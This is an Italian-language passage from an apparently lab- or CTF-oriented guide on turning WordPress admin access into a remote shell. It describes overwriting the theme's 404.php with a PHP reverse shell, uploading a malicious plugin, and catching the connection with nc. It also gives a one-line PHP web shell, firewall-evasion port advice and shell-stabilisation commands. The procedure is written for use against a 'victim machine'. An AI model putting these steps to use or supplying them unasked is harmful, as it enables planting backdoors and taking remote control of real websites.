Metodo 1: Modificare un File del Tema (Il più comune)
Se l’editor di temi e plugin non è disabilitato, questo è il modo più rapido.
-
Vai all’editor: Nel pannello di amministrazione di WordPress, vai su
Aspetto→Editor del tema. -
Scegli un file da modificare: Sulla destra, vedrai la lista dei file del tema attivo. Un’ottima scelta è il file
404.php(Pagina di errore 404). È perfetto perché:-
Non “rompe” il sito visibilmente finché non lo attivi.
-
È facile da attivare: ti basta visitare una pagina che non esiste.
-
Altri file validi sono
header.phpofooter.php.
-
-
Incolla il codice: Cancella tutto il contenuto del file
404.phpe incolla il tuo payload PHP modificato. Clicca su “Aggiorna file”. -
Attiva la shell: Apri una nuova scheda del browser e visita un URL inesistente del sito. Esempio:
http://<IP_MACCHINA_VITTIMA>/qualcosa_che_non_esiste.php -
Controlla il tuo listener: Se tutto è andato bene, vedrai una connessione in arrivo sul tuo terminale dove hai lanciato
nc. Ora hai una shell!
Metodo 2: Caricare un Plugin Malevolo
A volte l’editor dei file è bloccato per sicurezza. Puoi però creare e caricare un plugin.
-
Crea il file del plugin: Prendi il codice della reverse shell PHP di prima e salvalo in un file chiamato, ad esempio,
miaplugin.php. -
Crea l’archivio .zip: Comprimi questo singolo file in un archivio
.zip. Da terminale Linux puoi fare:zip shell.zip miaplugin.php. -
Carica il plugin: Nel pannello di admin, vai su
Plugin→Aggiungi nuovo→Carica plugin. Seleziona il tuo fileshell.zipe installalo. -
Attiva il plugin: Una volta caricato, clicca su “Attiva”. L’attivazione stessa del plugin eseguirà il codice PHP.
-
Controlla il tuo listener: Come prima, dovresti vedere la connessione arrivare sulla tua shell
nc.
Cosa Fare se Non Funziona? (Troubleshooting)
-
La connessione non arriva:
-
IP Sbagliato? Sei sicuro di aver messo l’IP corretto (
tun0) nel payload? Noneth0e non127.0.0.1. -
Porta bloccata? Forse la macchina vittima ha un firewall che blocca le connessioni in uscita sulla porta
4444. Prova a usare porte comuni che di solito sono permesse in uscita, come la80,443o53. Ricordati di cambiare la porta sia nel payload che nel listenernc. -
Payload corrotto? A volte il copia-incolla può corrompere dei caratteri. Prova a usare un payload PHP più semplice, come
<?php system($_GET['cmd']); ?>. Questo non ti dà una shell interattiva, ma ti permette di eseguire comandi tramite URL, così:http://<IP_VITTIMA>/path/al/tuo/file.php?cmd=ls -la. Da lì, puoi provare a scaricare uno script per una shell più stabile.
-
-
L’editor di temi/plugin non c’è:
- È probabile che nel file
wp-config.phpsia presente la rigadefine('DISALLOW_FILE_EDIT', true);. In questo caso, devi usare il metodo del caricamento del plugin. Se anche quello è bloccato, devi cercare un’altra vulnerabilità (es. un file upload in un’altra sezione del sito).
- È probabile che nel file
-
La shell è instabile:
-
La shell che ottieni con
ncè basilare. Spesso non hai l’autocompletamento con il tasto TAB e Ctrl+C uccide l’intera shell. Per “stabilizzarla” (renderla interattiva), una volta ottenuta la connessione, esegui questi comandi:-
python3 -c 'import pty; pty.spawn("/bin/bash")'(opython -c ...se python3 non c’è) -
Premi
Ctrl+Z(per mandare la shell in background). -
Nel tuo terminale di attacco, scrivi
stty raw -echo; fg. -
Premi Invio due volte. Ora la tua shell dovrebbe essere molto più usabile.
-
-